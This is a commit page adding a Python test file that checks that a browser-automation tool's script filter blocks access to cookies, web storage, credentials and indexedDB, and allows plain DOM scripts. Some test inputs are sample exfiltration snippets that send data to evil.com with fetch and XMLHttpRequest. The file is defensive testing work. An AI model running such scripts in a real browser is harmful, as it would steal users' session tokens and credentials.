Skip to content

Commit 38b0200

Browse files
Richardson Gundeclaude
authored andcommitted
Add browser script security tests for sensitive API blocking [#18]
9 tests: cookie, localStorage, sessionStorage, XHR, fetch, credentials, indexedDB, safe DOM scripts, case-insensitive matching. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>
1 parent ee3fa87 commit 38b0200

File tree

1 file changed

+56
-0
lines changed

1 file changed

+56
-0
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
"""Security tests for browser script execution restrictions (CWE-94)."""
2+
from operator_use.web.tools.browser import _check_script_safety
3+
4+
5+
class TestBrowserScriptSafety:
6+
"""Tests that _check_script_safety blocks sensitive browser APIs."""
7+
8+
def test_blocks_cookie_access(self):
9+
err = _check_script_safety("return document.cookie;")
10+
assert err is not None
11+
assert "blocked" in err.lower()
12+
13+
def test_blocks_local_storage(self):
14+
err = _check_script_safety("return localStorage.getItem('token');")
15+
assert err is not None
16+
17+
def test_blocks_session_storage(self):
18+
err = _check_script_safety("return sessionStorage.getItem('auth');")
19+
assert err is not None
20+
21+
def test_blocks_xhr_exfiltration(self):
22+
err = _check_script_safety("var x = new XMLHttpRequest(); x.open('GET', 'http://evil.com');")
23+
assert err is not None
24+
25+
def test_blocks_fetch_exfiltration(self):
26+
err = _check_script_safety("fetch('https://evil.com/?data=' + document.title)")
27+
assert err is not None
28+
29+
def test_blocks_credential_api(self):
30+
err = _check_script_safety("navigator.credentials.get({password: true})")
31+
assert err is not None
32+
33+
def test_blocks_indexed_db(self):
34+
err = _check_script_safety("indexedDB.open('mydb')")
35+
assert err is not None
36+
37+
def test_allows_safe_dom_scripts(self):
38+
"""Safe DOM manipulation scripts should not be blocked."""
39+
safe_scripts = [
40+
"return document.title;",
41+
"document.getElementById('btn').click();",
42+
"window.scrollTo(0, 500);",
43+
"return document.querySelectorAll('a').length;",
44+
"(function() { return 42; })()",
45+
]
46+
for script in safe_scripts:
47+
err = _check_script_safety(script)
48+
assert err is None, f"Safe script was blocked: {script!r}{err}"
49+
50+
def test_case_insensitive_blocking(self):
51+
"""Blocklist matching should be case-insensitive."""
52+
err = _check_script_safety("return Document.Cookie;")
53+
assert err is not None
54+
55+
err = _check_script_safety("LOCALSTORAGE.getItem('x')")
56+
assert err is not None

0 commit comments

Comments
 (0)